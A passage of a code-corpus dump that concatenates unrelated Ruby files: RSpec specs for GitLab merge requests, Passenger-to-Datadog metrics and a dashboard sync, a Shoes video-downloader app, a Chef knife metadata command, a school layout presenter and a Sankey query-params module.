subject.run
expect(Rails.logger).to have_received(:error).
with("Failed to parse response from #{fake_dashboard_url}: ")
expect(ServiceProvider.count).to eq before_count
end
end
context 'a non-native service provider is invalid' do
let(:dashboard_service_providers) do
[
{
id: 'big number',
created_at: '2010-01-01 00:00:00'.to_datetime,
updated_at: '2010-01-01 00:00:00'.to_datetime,
issuer: dashboard_sp_issuer,
agency_id: agency_1.id,
friendly_name: 'a friendly service provider',
description: 'user friendly login.gov dashboard',
acs_url: 'http://sp.example.org/saml/login',
assertion_consumer_logout_service_url: 'http://sp.example.org/saml/logout',
block_encryption: 'aes256-cbc',
certs: [saml_test_sp_cert],
active: true,
native: false,
approved: true,
redirect_uris: [''],
},
]
end
it 'raises an error' do
stub_request(:get, fake_dashboard_url).to_return(
status: 200,
body: dashboard_service_providers.to_json,
)
expect { subject.run }.to raise_error(ActiveRecord::RecordInvalid)
end
end
context 'dashboard has the old singular cert attribute' do
let(:dashboard_service_providers) do
[
{
issuer: 'aaaaaa',
friendly_name: 'a service provider',
agency_id: agency_1.id,
redirect_uris: openid_connect_redirect_uris,
active: true,
cert: 'aaaa',
},
]
end
it 'ignores the old column' do
stub_request(:get, fake_dashboard_url).to_return(
status: 200,
body: dashboard_service_providers.to_json,
)
expect { subject.run }.to_not raise_error
end
end
context 'GET request to dashboard raises an error' do
it 'logs error and does not affect registry' do
allow(Rails.logger).to receive(:error)
before_count = ServiceProvider.count
stub_request(:get, fake_dashboard_url).and_raise(SocketError)
subject.run
expect(Rails.logger).to have_received(:error).
with("Failed to contact #{fake_dashboard_url}")
expect(ServiceProvider.count).to eq before_count
end
end
end
end
| 33.173077 | 96 | 0.643014 |
4a73bb5a134f8731c2853f4d031a805b1c1054b8 | 7,590 | Shoes.app( :title => 'Shoe_vie v.0.0.1', :width => 450, :height => 600, :resizable => true, :margin => 20 ) do
background "#343".."#eee"
stroke rgb(0.5, 0.5, 0.7)
fill rgb(1.0, 1.0, 0.9)
@vid = nil
@downloading = false
stack(:margin => 10) do
@download_stack = stack(:stroke => black, :strokewidth => 5)do
@rect_download_stack = rect(0, 0, 430, 250, 10)
@rect_download_stack.style(:stroke => black, :strokewidth => 5)
stack do
@url_movie_flow = flow(:top => 5, :left => 15) do
@rect = rect(0, 0, 400, 20, 10)
@url_para = para "Url:\t"
@url_para.style(:left => 30)
@url_movie = edit_line :width => 350, :height => 20, :top => 5
@rect.height = @url_movie.style[:height] + 10
#@url_movie_flow .style(:left => 5, :top => 5)
end
@name_to_save_flow = flow(:left => 30) do
@rect = rect(0, 0, 400, 20, 10)
@name_para = para "Name to save: "
@name_para.style( :left => 30)
# TODO - create a dialog for movie finding
# until now this widget serve to find a local movie
@file_name_save = edit_line :width => 255, :height => 20, :top => 5
@rect.height = @file_name_save.style[:height] + 10
@rect.left = 15
#@name_to_save_flow. style(:left => 20)
end
@start_donwnload_button_flow = flow do
@button_start_download = button "Start download"
@button_start_download .style(:width => 350, :left => 35)
@button_start_download.click { @downloading = true;@para.text = "@downloading: ",@downloading;hide_download_stack;start_download_movie}
end
@stop_donwnload_button_flow = flow do
@button_stop_download = button "Cancel download"
@button_stop_download .style(:width => 350, :left => 35)
@button_stop_download.click { @downloading = false;@para.text = "@downloading: ",@downloading;hide_download_stack;stop_download_movie}
#@button_stop_download.click { @downloading = false;@para.text = "@downloading: ",@downloading;(@stop_donwnload_button_flow.style(:hidden => true);@start_donwnload_button_flow.style(:hidden => false));stop_download_movie}
end
@status_download_stack = stack do
flow do
@status_head = para "Status: "
@status = para
end
flow do
@rect = rect(0, 0, 400, 20, 10)
@progress_download = para "Progress\t"
@progress_download.left = 20
@p_download = progress :width => 200, :height => 20, :top => 5
@rect.left = @p_download.left
@rect.top = @p_download.top
@rect.height = @p_download.style[:height] + 10
end
end
end
@status_download_flow = flow do
@rect = rect(15, 5, 400, 30, 10)
@rect.style(:stroke => red, :strokewidth => 5)
@status_download_para = para "Downloads Status\t\t",
#link("hide") { @status_download_stack.hide if @downloading == false; @downloading = !@downloading;@para.text = @downloading }, ", ",
#link("show") { @status_download_stack.show if @downloading == true; @downloading = !@downloading;@para.text = @downloading }
#link("hide") { @downloading = !@downloading;@para.text = @downloading; hide_download_stack }, ", ",
link("hide") { @status_download_stack.hide }, ", ",
#link("show") { @downloading = !@downloading;@para.text = @downloading; hide_download_stack }
link("show") { @status_download_stack.show}, " or ",
link("toggle") { @status_download_stack.toggle}
@status_download_para.style(:left => 30)
end
end
@downloads_flow = flow do
@rect = rect(15, 5, 400, 30, 10)
@rect.style(:stroke => red, :strokewidth => 5)
@downloads_para = para "Downloads\t\t\t\t",
link("hide") { @download_stack.hide }, ", ",
link("show") { @download_stack.show }, " or ",
link("toggle") { @download_stack.toggle}
@downloads_para.style(:left => 30)
end
@controls_all_stack = stack do
@rect = rect(0, 70, 430, 100, 10)
@rect.style(:stroke => yellow, :strokewidth => 5)
@time = para
stack do
flow(:top => 25, :left => 15) do
@rect = rect(10, -50, 400, 30, 10)
@rect.style(:stroke => black, :strokewidth => 5)
@progress_time = para "Time progress\t\t"
@progress_time.left = 30
@p_time = progress :width => 200, :height => 20, :top => 5
@rect.left = @p_time.left
@rect.top = @p_time.top
@rect.height = @p_time.style[:height] + 10
end
@time_ellapsed =
animate do |i|
@time.text = "Time ellapsed: ", @vid.time / 1000 < 10 ? "0" + (@vid.time / 1000).to_s : @vid.time / 1000, " seconds"
@p_time.fraction = (@vid.position)
end
@controls_stack = stack do
@rect = rect(15, 0, 400, 30, 10)
@rect.style(:stroke => red, :strokewidth => 5)
@controls = para "Controls: ",
#link("play") { @vid = video @file_name_to_save if !@file_name_to_save.nil?; @vid.play; @time_ellapsed }, ", ",
#link("play") { @vid.play; @time_ellapsed ; @vid = video @file_name_save.text}, ", ",
#link("play") { @vid = video 'movie.flv'}, ", ",
link("play") { play_movie}, ", ",
link("pause") { @vid.pause }, ", ",
link("stop") { @vid.stop }, ", ",
link("hide") { @vid.hide }, ", ",
link("show") { @vid.show }, ", ",
link("+5 sec") { @vid.time += 5000 if (@vid.time < @vid.length - 6000) }, ", ",
link("-5 sec") { @vid.time -= 5000 if (@vid.time > 6000) }
@controls.left = 30
#@rect.left = @controls.left
@rect.top = @controls.top
end
end
end
end
def start_download_movie
@default_url = "http://whytheluckystiff.net/o..e/adventure_time.flv"
@url_movie.text == '' ? @url = @default_url : @url = @url_movie.text
@file_name_save.text == '' ? @file_name_to_save = 'movie.flv' : @file_name_to_save = @file_name_save.text
@status.text = "Fetching #{@file_name_to_save}"
@download = download @url, :save => @file_name_to_save,
# TODO - search for local movies, list, etc
# FIXME - free @vid from :start
:start => proc { |dl| @status.text = "Connecting..." ; @vid = video @file_name_to_save if !@file_name_to_save.nil?},
:progress => proc { |dl| @status.text = "#{dl.percent}% complete"; animate(24) {|i| @p_download.fraction = (dl.percent % 100) / 100.0}},
:finish => proc { |dl| @status.text = "Download finished" },
:error => proc { |dl, err| @status.text = "Error: #{err}" }
end
def stop_download_movie
@download .abort
#@download.remove
end
def play_movie
@para.text ="Playing"
@vid = video @file_name_to_save if !@file_name_to_save.nil?
#@vid = video 'movie.flv'
@vid.play
@time_ellapsed
end
def hide_download_stack
# @status_download_stack style: hidden if @downloading == false
@downloading == false ? @status_download_stack.style(:hidden => true) : @status_download_stack.style(:hidden => false)#Ok
# @stop_donwnload_button_flow and @start_donwnload_button_flow if @downloading == false
@downloading == false ? (@stop_donwnload_button_flow.style(:hidden => true);@start_donwnload_button_flow.style(:hidden => false)) : (@stop_donwnload_button_flow.style(:hidden => false);@start_donwnload_button_flow.style(:hidden => true))
#(@stop_donwnload_button_flow.style(:hidden => true);@start_donwnload_button_flow.style(:hidden => false)) if (@downloading == false)
#(@stop_donwnload_button_flow.style(:hidden => false);@start_donwnload_button_flow.style(:hidden => true)) if(@downloading == true)
end
def initalize
hide_download_stack
end
initalize
@para = para ####################################################################
end | 41.47541 | 240 | 0.620817 |
91f38a48795759d8697972e96d43b5cab1c94528 | 5,966 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Projects::MergeRequests::CreationsController do
let(:project) { create(:project, :repository) }
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
let(:user) { project.first_owner }
let(:viewer) { user }
before do
sign_in(viewer)
end
describe 'GET #new' do
render_views
context 'default templates' do
let(:selected_field) { 'data-selected="Default"' }
let(:files) { { '.gitlab/merge_request_templates/Default.md' => '' } }
subject do
get :new,
params: {
namespace_id: project.namespace,
project_id: project,
merge_request: {
source_project_id: project.id,
source_branch: 'feature',
target_project_id: project.id,
target_branch: 'master'
}
}
end
before do
project.repository.create_branch('feature', 'master')
end
context 'when a template has been set via project settings' do
let(:project) { create(:project, :custom_repo, merge_requests_template: 'Content', files: files ) }
it 'does not select a default template' do
subject
expect(response.body).not_to include(selected_field)
end
end
context 'when a template has not been set via project settings' do
let(:project) { create(:project, :custom_repo, files: files ) }
it 'selects a default template' do
subject
expect(response.body).to include(selected_field)
end
end
end
end
describe 'POST #create' do
let(:created_merge_request) { assigns(:merge_request) }
def create_merge_request(overrides = {})
params = {
namespace_id: project.namespace.to_param,
project_id: project.to_param,
merge_request: {
title: 'Test',
source_branch: 'feature_conflict',
target_branch: 'master',
author: user
}.merge(overrides)
}
post :create, params: params
end
context 'the approvals_before_merge param' do
before do
project.update!(approvals_before_merge: 2)
end
context 'when it is less than the one in the target project' do
before do
create_merge_request(approvals_before_merge: 1)
end
it 'sets the param to the project value' do
expect(created_merge_request.reload.approvals_before_merge).to eq(2)
end
it 'creates the merge request' do
expect(created_merge_request).to be_valid
expect(response).to redirect_to(project_merge_request_path(project, created_merge_request))
end
end
context 'when it is equal to the one in the target project' do
before do
create_merge_request(approvals_before_merge: 2)
end
it 'sets the param to the correct value' do
expect(created_merge_request.reload.approvals_before_merge).to eq(2)
end
it 'creates the merge request' do
expect(created_merge_request).to be_valid
expect(response).to redirect_to(project_merge_request_path(project, created_merge_request))
end
end
context 'when it is greater than the one in the target project' do
before do
create_merge_request(approvals_before_merge: 3)
end
it 'saves the param in the merge request' do
expect(created_merge_request.approvals_before_merge).to eq(3)
end
it 'creates the merge request' do
expect(created_merge_request).to be_valid
expect(response).to redirect_to(project_merge_request_path(project, created_merge_request))
end
end
context 'when the target project is a fork of a deleted project' do
before do
original_project = create(:project)
project.update!(forked_from_project: original_project, approvals_before_merge: 4)
original_project.update!(pending_delete: true)
create_merge_request(approvals_before_merge: 3)
end
it 'uses the default from the target project' do
expect(created_merge_request.reload.approvals_before_merge).to eq(4)
end
it 'creates the merge request' do
expect(created_merge_request).to be_valid
expect(response).to redirect_to(project_merge_request_path(project, created_merge_request))
end
end
end
context 'overriding approvers per MR' do
let(:new_approver) { create(:user) }
before do
project.add_developer(new_approver)
project.update!(disable_overriding_approvers_per_merge_request: disable_overriding_approvers_per_merge_request)
create_merge_request(
approval_rules_attributes: [
{
name: 'Test',
user_ids: [new_approver.id],
approvals_required: 1
}
]
)
end
context 'enabled' do
let(:disable_overriding_approvers_per_merge_request) { false }
it 'does create approval rules' do
approval_rules = created_merge_request.reload.approval_rules
expect(approval_rules.count).to eq(1)
expect(approval_rules.first.name).to eq('Test')
expect(approval_rules.first.user_ids).to eq([new_approver.id])
expect(approval_rules.first.approvals_required).to eq(1)
end
end
context 'disabled' do
let(:disable_overriding_approvers_per_merge_request) { true }
it 'does not create approval rules' do
expect(created_merge_request.reload.approval_rules).to be_empty
end
end
end
it 'disables query limiting' do
expect(Gitlab::QueryLimiting).to receive(:disable!)
create_merge_request
end
end
end
| 30.284264 | 119 | 0.643647 |
1a36a4393a669ef55ae0ac8d6d7b97aea2961280 | 1,461 | module Layouts
class SchoolPresenter < ::ApplicationPresenter
def props
{
school_name: current_school.name,
school_logo_path: school_logo_path,
school_icon_path: school_icon_path,
courses: courses,
is_course_author: current_user_is_a_course_author?,
has_notifications: notifications?
}
end
private
def notifications?
return false if current_user.blank?
current_user.notifications.unread.any?
end
def school_logo_path
if current_school.logo_on_light_bg.attached?
view.rails_public_blob_url(current_school.logo_variant('thumb'))
else
view.image_path('shared/pupilfirst-logo.svg')
end
end
def school_icon_path
if current_school.icon.attached?
view.rails_public_blob_url(current_school.icon_variant('thumb'))
else
'/favicon.png'
end
end
def courses
if current_user.school_admin.present?
current_school.courses.live.as_json(only: %i[name id ends_at])
elsif current_user.course_authors.any?
current_school
.courses
.live
.where(id: current_user.course_authors.pluck(:course_id))
.as_json(only: %i[name id ends_at])
end
end
def current_user_is_a_course_author?
current_user.course_authors.exists?(course: current_school.courses) &&
current_user.school_admin.blank?
end
end
end
| 26.089286 | 76 | 0.673511 |
384970cb40583f877ae4906ecfc5b4a7da7b9e09 | 12,796 | # frozen_string_literal: true
require 'spec_helper'
describe PassengerDatadog do
let(:Statsd) { double(Datadog::Statsd) }
let(:statsd) { instance_double(Datadog::Statsd) }
subject { described_class.new }
context 'passenger not running' do
before do
allow(subject).to receive(:`).and_return('')
end
it 'does not send stats to datadog' do
expect(Datadog::Statsd).not_to receive(:new)
subject.run
end
end
context 'passenger 4' do
before do
allow(subject).to receive(:`).and_return(File.read('spec/fixtures/passenger_4_status.xml'))
end
let(:passenger_status) do
[['passenger.pool.used', '5'],
['passenger.pool.max', '20'],
['passenger.request_queue', '0'],
['passenger.enabled_process_count', '5'],
['passenger.disabling_process_count', '0'],
['passenger.disabled_process_count', '0'],
['passenger.processed', '149', { tags: ['passenger-process:0'] }],
['passenger.sessions', '0', { tags: ['passenger-process:0'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:0'] }],
['passenger.cpu', '0', { tags: ['passenger-process:0'] }],
['passenger.rss', '554312', { tags: ['passenger-process:0'] }],
['passenger.private_dirty', '548660', { tags: ['passenger-process:0'] }],
['passenger.pss', '549560', { tags: ['passenger-process:0'] }],
['passenger.swap', '0', { tags: ['passenger-process:0'] }],
['passenger.real_memory', '548660', { tags: ['passenger-process:0'] }],
['passenger.vmsize', '952668', { tags: ['passenger-process:0'] }],
['passenger.processed', '273', { tags: ['passenger-process:1'] }],
['passenger.sessions', '0', { tags: ['passenger-process:1'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:1'] }],
['passenger.cpu', '0', { tags: ['passenger-process:1'] }],
['passenger.rss', '547088', { tags: ['passenger-process:1'] }],
['passenger.private_dirty', '541420', { tags: ['passenger-process:1'] }],
['passenger.pss', '542326', { tags: ['passenger-process:1'] }],
['passenger.swap', '0', { tags: ['passenger-process:1'] }],
['passenger.real_memory', '541420', { tags: ['passenger-process:1'] }],
['passenger.vmsize', '963948', { tags: ['passenger-process:1'] }],
['passenger.processed', '139', { tags: ['passenger-process:2'] }],
['passenger.sessions', '0', { tags: ['passenger-process:2'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:2'] }],
['passenger.cpu', '0', { tags: ['passenger-process:2'] }],
['passenger.rss', '533704', { tags: ['passenger-process:2'] }],
['passenger.private_dirty', '258196', { tags: ['passenger-process:2'] }],
['passenger.pss', '394044', { tags: ['passenger-process:2'] }],
['passenger.swap', '0', { tags: ['passenger-process:2'] }],
['passenger.real_memory', '258196', { tags: ['passenger-process:2'] }],
['passenger.vmsize', '887132', { tags: ['passenger-process:2'] }],
['passenger.processed', '135', { tags: ['passenger-process:3'] }],
['passenger.sessions', '0', { tags: ['passenger-process:3'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:3'] }],
['passenger.cpu', '1', { tags: ['passenger-process:3'] }],
['passenger.rss', '559972', { tags: ['passenger-process:3'] }],
['passenger.private_dirty', '284396', { tags: ['passenger-process:3'] }],
['passenger.pss', '420259', { tags: ['passenger-process:3'] }],
['passenger.swap', '0', { tags: ['passenger-process:3'] }],
['passenger.real_memory', '284396', { tags: ['passenger-process:3'] }],
['passenger.vmsize', '915564', { tags: ['passenger-process:3'] }],
['passenger.processed', '236', { tags: ['passenger-process:4'] }],
['passenger.sessions', '0', { tags: ['passenger-process:4'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:4'] }],
['passenger.cpu', '0', { tags: ['passenger-process:4'] }],
['passenger.rss', '548696', { tags: ['passenger-process:4'] }],
['passenger.private_dirty', '543068', { tags: ['passenger-process:4'] }],
['passenger.pss', '543957', { tags: ['passenger-process:4'] }],
['passenger.swap', '0', { tags: ['passenger-process:4'] }],
['passenger.real_memory', '543068', { tags: ['passenger-process:4'] }],
['passenger.vmsize', '964668', { tags: ['passenger-process:4'] }]]
end
it 'sends stats to datadog' do
allow(Datadog::Statsd).to receive(:new).and_return(statsd)
allow(statsd).to receive(:batch).and_yield(statsd)
expect(statsd).not_to receive(:gauge).with('passenger.busyness', anything)
expect(statsd).not_to receive(:gauge).with('passenger.capacity_used', anything)
expect(statsd).not_to receive(:gauge).with('passenger.processes_being_spawned', anything)
passenger_status.each do |key, *value|
expect(statsd).to receive(:gauge).with(key, *value)
end
subject.run
end
end
context 'passenger 5' do
before do
allow(subject).to receive(:`).and_return(File.read('spec/fixtures/passenger_5_status.xml'))
end
let(:passenger_status) do
[['passenger.pool.used', '2'],
['passenger.pool.max', '5'],
['passenger.request_queue', '999'],
['passenger.capacity_used', '2'],
['passenger.get_wait_list_size', '111'],
['passenger.disable_wait_list_size', '0'],
['passenger.processes_being_spawned', '0'],
['passenger.enabled_process_count', '2'],
['passenger.disabling_process_count', '0'],
['passenger.disabled_process_count', '0'],
['passenger.processed', '2', { tags: ['passenger-process:0'] }],
['passenger.sessions', '0', { tags: ['passenger-process:0'] }],
['passenger.busyness', '0', { tags: ['passenger-process:0'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:0'] }],
['passenger.cpu', '0', { tags: ['passenger-process:0'] }],
['passenger.rss', '409596', { tags: ['passenger-process:0'] }],
['passenger.private_dirty', '126456', { tags: ['passenger-process:0'] }],
['passenger.pss', '267231', { tags: ['passenger-process:0'] }],
['passenger.swap', '0', { tags: ['passenger-process:0'] }],
['passenger.real_memory', '126456', { tags: ['passenger-process:0'] }],
['passenger.vmsize', '812632', { tags: ['passenger-process:0'] }],
['passenger.processed', '3', { tags: ['passenger-process:1'] }],
['passenger.sessions', '0', { tags: ['passenger-process:1'] }],
['passenger.busyness', '0', { tags: ['passenger-process:1'] }],
['passenger.concurrency', '1', { tags: ['passenger-process:1'] }],
['passenger.cpu', '0', { tags: ['passenger-process:1'] }],
['passenger.rss', '407972', { tags: ['passenger-process:1'] }],
['passenger.private_dirty', '124832', { tags: ['passenger-process:1'] }],
['passenger.pss', '265607', { tags: ['passenger-process:1'] }],
['passenger.swap', '0', { tags: ['passenger-process:1'] }],
['passenger.real_memory', '124832', { tags: ['passenger-process:1'] }],
['passenger.vmsize', '812536', { tags: ['passenger-process:1'] }]]
end
it 'sends stats to datadog' do
allow(Datadog::Statsd).to receive(:new).and_return(statsd)
allow(statsd).to receive(:batch).and_yield(statsd)
passenger_status.each do |key, *value|
expect(statsd).to receive(:gauge).with(key, *value)
end
subject.run
end
end
context 'passenger 5 with multiple supergroups' do
before do
allow(subject).to receive(:`).and_return(File.read('spec/fixtures/passenger_5_status_multiple_supergroups.xml'))
end
let(:passenger_status) do
[['passenger.pool.used', '2'],
['passenger.pool.max', '5'],
['passenger.request_queue', '999'],
['passenger.passenger_datadog_development.capacity_used', '2'],
['passenger.passenger_datadog_development.get_wait_list_size', '111'],
['passenger.passenger_datadog_development.disable_wait_list_size', '0'],
['passenger.passenger_datadog_development.processes_being_spawned', '0'],
['passenger.passenger_datadog_development.enabled_process_count', '2'],
['passenger.passenger_datadog_development.disabling_process_count', '0'],
['passenger.passenger_datadog_development.disabled_process_count', '0'],
['passenger.passenger_datadog_development.processed', '2', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.sessions', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.busyness', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.concurrency', '1', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.cpu', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.rss', '409596', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.private_dirty', '126456', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.pss', '267231', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.swap', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.real_memory', '126456', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.vmsize', '812632', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_development.processed', '3', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.sessions', '0', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.busyness', '0', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.concurrency', '1', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.cpu', '0', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.rss', '407972', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.private_dirty', '124832', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.pss', '265607', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.swap', '0', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.real_memory', '124832', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_development.vmsize', '812536', { tags: ['passenger-process:1'] }],
['passenger.passenger_datadog_production.capacity_used', '2'],
['passenger.passenger_datadog_production.get_wait_list_size', '111'],
['passenger.passenger_datadog_production.disable_wait_list_size', '0'],
['passenger.passenger_datadog_production.processes_being_spawned', '0'],
['passenger.passenger_datadog_production.enabled_process_count', '2'],
['passenger.passenger_datadog_production.disabling_process_count', '0'],
['passenger.passenger_datadog_production.disabled_process_count', '0'],
['passenger.passenger_datadog_production.processed', '2', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.sessions', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.busyness', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.concurrency', '1', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.cpu', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.rss', '409596', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.private_dirty', '126456', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.pss', '267231', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.swap', '0', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.real_memory', '126456', { tags: ['passenger-process:0'] }],
['passenger.passenger_datadog_production.vmsize', '812632', { tags: ['passenger-process:0'] }]]
end
it 'sends stats to datadog' do
allow(Datadog::Statsd).to receive(:new).and_return(statsd)
allow(statsd).to receive(:batch).and_yield(statsd)
passenger_status.each do |key, *value|
expect(statsd).to receive(:gauge).with(key, *value)
end
subject.run
end
end
end
| 53.764706 | 118 | 0.62879 |
2169ef012b403f8fe2d682231c35db21873b1cec | 87 | # Sample code from Programing Ruby, page 448
File.join("usr", "mail", "gumby")
| 29 | 44 | 0.632184 |
ac0b6a7e565a352ee1c2dfb81d9fbad5452d6644 | 3,619 | #
#
# Author:: Adam Jacob (<adam@opscode.com>)
# Copyright:: Copyright (c) 2009 Opscode, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require 'chef/knife'
class Chef
class Knife
class CookbookMetadata < Knife
deps do
require 'chef/cookbook_loader'
require 'chef/cookbook/metadata'
end
banner "knife cookbook metadata COOKBOOK (options)"
option :cookbook_path,
:short => "-o PATH:PATH",
:long => "--cookbook-path PATH:PATH",
:description => "A colon-separated path to look for cookbooks in",
:proc => lambda { |o| o.split(":") }
option :all,
:short => "-a",
:long => "--all",
:description => "Generate metadata for all cookbooks, rather than just a single cookbook"
def run
config[:cookbook_path] ||= Chef::Config[:cookbook_path]
if config[:all]
cl = Chef::CookbookLoader.new(config[:cookbook_path])
cl.each do |cname, cookbook|
generate_metadata(cname.to_s)
end
else
cookbook_name = @name_args[0]
if cookbook_name.nil? || cookbook_name.empty?
ui.error "You must specify the cookbook to generate metadata for, or use the --all option."
exit 1
end
generate_metadata(cookbook_name)
end
end
def generate_metadata(cookbook)
Array(config[:cookbook_path]).reverse.each do |path|
file = File.expand_path(File.join(path, cookbook, 'metadata.rb'))
if File.exists?(file)
generate_metadata_from_file(cookbook, file)
else
validate_metadata_json(path, cookbook)
end
end
end
def generate_metadata_from_file(cookbook, file)
ui.info("Generating metadata for #{cookbook} from #{file}")
md = Chef::Cookbook::Metadata.new
md.name(cookbook)
md.from_file(file)
json_file = File.join(File.dirname(file), 'metadata.json')
File.open(json_file, "w") do |f|
f.write(Chef::JSONCompat.to_json_pretty(md))
end
generated = true
Chef::Log.debug("Generated #{json_file}")
rescue Exceptions::ObsoleteDependencySyntax, Exceptions::InvalidVersionConstraint => e
ui.stderr.puts "ERROR: The cookbook '#{cookbook}' contains invalid or obsolete metadata syntax."
ui.stderr.puts "in #{file}:"
ui.stderr.puts
ui.stderr.puts e.message
exit 1
end
def validate_metadata_json(path, cookbook)
json_file = File.join(path, cookbook, 'metadata.json')
if File.exist?(json_file)
Chef::Cookbook::Metadata.validate_json(IO.read(json_file))
end
rescue Exceptions::ObsoleteDependencySyntax, Exceptions::InvalidVersionConstraint => e
ui.stderr.puts "ERROR: The cookbook '#{cookbook}' contains invalid or obsolete metadata syntax."
ui.stderr.puts "in #{json_file}:"
ui.stderr.puts
ui.stderr.puts e.message
exit 1
end
end
end
end
| 33.509259 | 104 | 0.636087 |
1151a9c0aa5628074c4d5c3682e92db4124cb582 | 5,508 | # This service to be used as part of the importer script
# to amend any node ids stored in sankey_card_links.query_params
# that might have got out of sync.
module Api
module V3
module SankeyCardLinks
class QueryParams
include Singleton
def cleanup(query_params)
cleaned_query_params = query_params.dup
all_query_param_wrappers = node_query_param_wrappers.merge(
node_type_query_param_wrappers
)
all_query_param_wrappers.map do |qp_name, qp_wrapper|
next unless cleaned_query_params[qp_name].present?
cleaned_query_params[qp_name] = qp_wrapper.new(
cleaned_query_params.delete(qp_name)
).cleaned_value
end
cleaned_query_params
end
def nodes_ids(query_params)
node_query_param_wrappers.map do |qp_name, qp_wrapper|
qp_wrapper.new(query_params[qp_name]).to_ary
end.flatten.uniq
end
def node_query_param_wrappers
{
'selectedNodesIds' => ArrayList,
'extraColumnNodeId' => SingleElement,
'sources' => CommaSeparatedList,
'companies' => CommaSeparatedList,
'exporters' => CommaSeparatedList,
'importers' => CommaSeparatedList,
'destinations' => CommaSeparatedList
}
end
def node_types_ids(query_params)
node_type_query_param_wrappers.map do |qp_name, qp_wrapper|
qp_wrapper.new(query_params[qp_name]).to_ary
end.flatten.uniq
end
def node_type_query_param_wrappers
{
'selectedColumnsIds' => SankeyColumnsList
}
end
end
# list wrapper for array lists
ArrayList = Struct.new(:value) do
def to_ary
return [] unless value.present?
cleaned_value
end
def &(ary)
to_ary & ary
end
def -(ary)
to_ary - ary
end
def delete!(ary)
self.value = to_ary - ary
end
def replace!(old_ary, new_ary)
self.value = (to_ary - old_ary + new_ary)
end
def cleaned_value
value.map(&:to_i)
end
end
# list wrapper for single element
SingleElement = Struct.new(:value) do
def to_ary
return [] unless value.present?
[cleaned_value]
end
def &(ary)
to_ary & ary
end
def -(ary)
to_ary - ary
end
def delete!(ary)
self.value = (to_ary - ary).first
end
def replace!(old_ary, new_ary)
self.value = (to_ary - old_ary + new_ary).first
end
def cleaned_value
value&.to_i
end
end
# list wrapper for comma separated lists
CommaSeparatedList = Struct.new(:value) do
def excluded_prefix?
value =~ /^excluded_/
end
def to_ary
return [] unless value.present?
value_to_split =
if excluded_prefix?
value.sub(/^excluded_/, '')
else
value
end
value_to_split.split(',').map(&:to_i)
end
def &(ary)
to_ary & ary
end
def -(ary)
to_ary - ary
end
def delete!(ary)
joined_value = (to_ary - ary).join(',')
update_value(joined_value)
end
def replace!(old_ary, new_ary)
joined_value = (to_ary - old_ary + new_ary).join(',')
update_value(joined_value)
end
def update_value(joined_value)
if excluded_prefix?
self.value = "excluded_#{joined_value}"
else
self.value = joined_value
end
end
def cleaned_value
value
end
end
# list wrapper for mad sankey node types list format
SankeyColumnsList = Struct.new(:value) do
def columns_map
return {} unless value.is_a? String
Hash[
value.split('-').map do |column_with_id|
column, id = column_with_id.split('_').map(&:to_i)
end
]
end
def columns_list(columns_map)
columns_map.map do |column, id|
"#{column}_#{id}"
end.join('-')
end
def to_ary
return [] unless value.present?
columns_map.values.map(&:to_i)
end
def &(ary)
to_ary & ary
end
def -(ary)
to_ary - ary
end
def delete!(ary)
keys_to_delete = ary.map { |e| columns_map.key(e) }
new_columns_map = columns_map.except(*keys_to_delete)
update_value(columns_list(new_columns_map))
end
def replace!(old_ary, new_ary)
keys_to_update = old_ary.map { |e| columns_map.key(e) }
new_columns_map = columns_map.except(*keys_to_update)
keys_to_update.each.with_index do |key, idx|
new_columns_map[key] = new_ary[idx]
end
update_value(columns_list(new_columns_map))
end
def update_value(joined_value)
if !joined_value.blank?
self.value = joined_value
else
self.value = nil
end
end
def cleaned_value
value
end
end
end
end
end
| 24.48 | 69 | 0.544662 |
d5bab6abb511981b4b051626780390e7bb42a109 | 1,567 | # Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/ads/googleads/v5/errors/authorization_error.proto
require 'google/protobuf'
require 'google/api/annotations_pb'
